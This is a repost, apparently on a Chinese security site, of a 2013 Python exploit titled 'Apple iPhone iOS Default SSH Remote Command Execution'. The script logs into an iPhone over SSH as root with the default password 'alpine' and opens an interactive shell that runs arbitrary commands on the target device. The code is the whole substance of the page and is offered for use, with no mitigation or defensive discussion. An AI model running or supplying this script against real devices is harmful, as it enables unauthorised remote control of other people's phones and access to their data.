首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple iPhone iOS Default SSH Password Exploit (.py)
来源:vfocus.net 作者:D35m0nd142 发布时间:2013-02-18  
#!/usr/bin/python
# This software opens a simple shell where you can type commands to send and works without Metasploit 
# Exploit Title: Apple iPhone iOS Default SSH Remote Command Execution exploit
# Exploit Author: D35m0nd142
# Date: 17/02/2013
# Vendor Homepage: http://www.apple.com
# Screenshot: http://imageshack.us/photo/my-images/713/iphoneexploit.png/
# Tested on: Ubuntu 12.04 - Backtrack 5 R3 - Windows 7 Home Premium - Backbox
import paramiko  
import sys,time
import os
os.system("clear")
iphoneip = sys.argv[1]

print "=================================================================="
print "=      Apple iPhone iOS SSH Remote Command Execution exploit     ="
print "=                 Created by D35m0nd142                          ="
print "==================================================================\n" 

#def usage():
#	if len(sys.argv) != 2:
#		print "Usage: python exploit.py <iphone_ip> \n"
#		sys.exit(1)

def exploit(iphoneip,cmd):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	ssh.connect(iphoneip,username='root',password='alpine')
	stdin, stdout, stderr = ssh.exec_command(cmd)
	resp = stdout.readlines()
	print resp	
	ssh.close()


#usage()
time.sleep(1.3)
cmd = " "
while (cmd != "quit"):
	try:
		cmd = raw_input("shell:~# ")
		exploit(iphoneip,cmd)
	except KeyboardInterrupt:
		print "\nExiting . . \n"
		sys.exit(1)


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·xMatters Alarmpoint BoF-0day
·VLC 2.0.5 (.bmp) Heap Overflow
·EChat Server 3.1 BoF-0day
·Photodex ProShow Producer 5.0.
·Microsoft Internet Explorer SL
·Photodex ProShow Producer v5.0
·Foxit Reader Plugin URL Proces
·Windows Manage User Level Pers
·iRobosoft Internet Browser Mem
·BigAnt Server DUPF Command Arb
·Polycom HDX Telnet Authorizati
·BigAnt Server 2 SCH And DUPF B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved